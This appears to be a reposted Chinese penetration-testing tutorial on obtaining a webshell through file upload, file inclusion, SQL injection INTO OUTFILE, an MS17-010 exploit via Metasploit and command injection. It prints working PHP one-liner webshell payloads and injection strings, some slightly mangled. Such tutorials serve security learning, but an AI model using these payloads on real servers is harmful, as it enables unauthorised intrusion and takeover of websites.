getshell思路

  • getshell能干嘛
  • 文件上传getshell
  • 文件包含getshell
  • sql注入getshell
  • 操作系统漏洞getshell
  • RCE getshell
  • 总结


授人以鱼,不如授人以渔

getshell能干嘛

1.执行终端命令
2.文件管理(增删改查)
3.数据库管理(增删改查,前提找到root用户密码)
在这里插入图片描述
getshell思路_第1张图片

文件上传getshell

网站有上传点,最容易getshell。
getshell思路_第2张图片
直接上传一个一句话木马,然后使用webshell管理工具,就能成功getshell
getshell思路_第3张图片
如果web应用对上传的文件进行过滤,要想办法绕过,如前端js绕过MIME验证绕过黑名单绕过大小写绕过,双写绕过,00截断,利用web容器的解析漏洞绕过等等,这里就不一一列举了

文件包含getshell

利用文件包含漏洞,输入php://input伪协议,进行写入一句话木马

<?php fputs(fopen('muma1.php','w'),'$_REQUEST["pass"]);?>');?>

因为文件包含会解析php
所以当执行了这个脚本,会在目标服务器创建一个muma1.php的一句话木马
getshell思路_第4张图片
getshell思路_第5张图片
getshell思路_第6张图片
直接连接我们创建的木马,即可getshell
getshell思路_第7张图片

sql注入getshell

前提
1.secure_file_priv为空
2.当前数据库用户具有文件读写权限
3.魔术引号关闭
4.知道网站根目录路径

@@basedir 知道它的数据库根目录,去推测其web根目录
getshell思路_第8张图片
然后将木马导出到web根目录中

-1' union select 1,2,"$_REQUEST['pass']);?>" into outfile "C:/phpstudy_pro/WWW/muma2.php"%23

getshell思路_第9张图片
使用webshell管理工具连接
getshell思路_第10张图片
getshell思路_第11张图片

操作系统漏洞getshell

利用操作系统内核溢出漏洞getshell
服务器ip(攻击者可以使用ping 域名获取,有CDN先绕过)
getshell思路_第12张图片
然后攻击者使用nmap NSE查看服务器的存在的漏洞

sudo nmap --script vuln -T 4 192.168.208.131

getshell思路_第13张图片
getshell思路_第14张图片
这里找到了两个漏洞,这里最有价值的是ms17-010(永恒之蓝)这个漏洞,因为可以RCE
接着就可以使用metasploit里的exp进行getshell了
getshell思路_第15张图片
getshell思路_第16张图片
这里的meterpreter就是一个shell,而且功能还十分强大,有兴趣可以自行了解

RCE getshell

当我们提交的数据被服务器当作终端命令执行的时候,其实已经getshell了,因为我们可以可以输入各种各样的终端命令,达到文件管理,用户管理等目的。
但这里还是演示下,当web应用有个RCE的其中一个利用方法

12 & echo "I am a horse";@eval($_REQUEST["pass"]);?>" > F:\phpstudy_pro\WWW\muma3.php

使用cmd命令写入一个一句话木马到web根目录
getshell思路_第17张图片
getshell思路_第18张图片
getshell思路_第19张图片
还有些cms,web容器,操作系统旧版本有RCE漏洞,直接利用就完事了,像之前很火的Apache log4j2漏洞也有RCE漏洞,总之服务器有RCE漏洞,就差不多相当于是自己的服务器了。

总结

以上就是我目前了解到的getshell方法,最好是在已授权的情况下测试或者在自己搭建的环境测试,不然可能会被查水表,日志里都记录了你干了啥,所以自己衡量吧。

你可能感兴趣的:(渗透小知识,安全,web安全,php)